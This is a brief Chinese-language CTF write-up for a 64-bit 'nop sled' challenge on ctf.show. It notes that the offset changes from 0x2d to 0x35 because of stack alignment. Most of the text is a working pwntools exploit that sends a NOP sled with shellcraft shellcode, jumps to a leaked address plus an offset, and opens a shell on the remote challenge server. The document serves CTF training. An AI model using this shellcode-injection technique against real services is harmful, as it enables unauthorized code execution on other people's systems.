题目:64bit nop sled
这是 64 位程序,保护机制和上一题一样
唯一不同的就是这:
截图
把上一题的 0x2d 换成 0x35 就好(0x15+8+8+16 (栈对齐)=0x35)
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context(arch='amd64',os='linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28134)
shellcode = asm(shellcraft.sh())
payload = '\x90'*1336 + shellcode
io.recvuntil("The current location: ")
addr = int(io.recvline(),16)
io.recvuntil("> ")
io.sendline(payload)
io.recvuntil("> ")
sh = addr + 668 + 0x35
io.sendline(hex(sh))
io.interactive()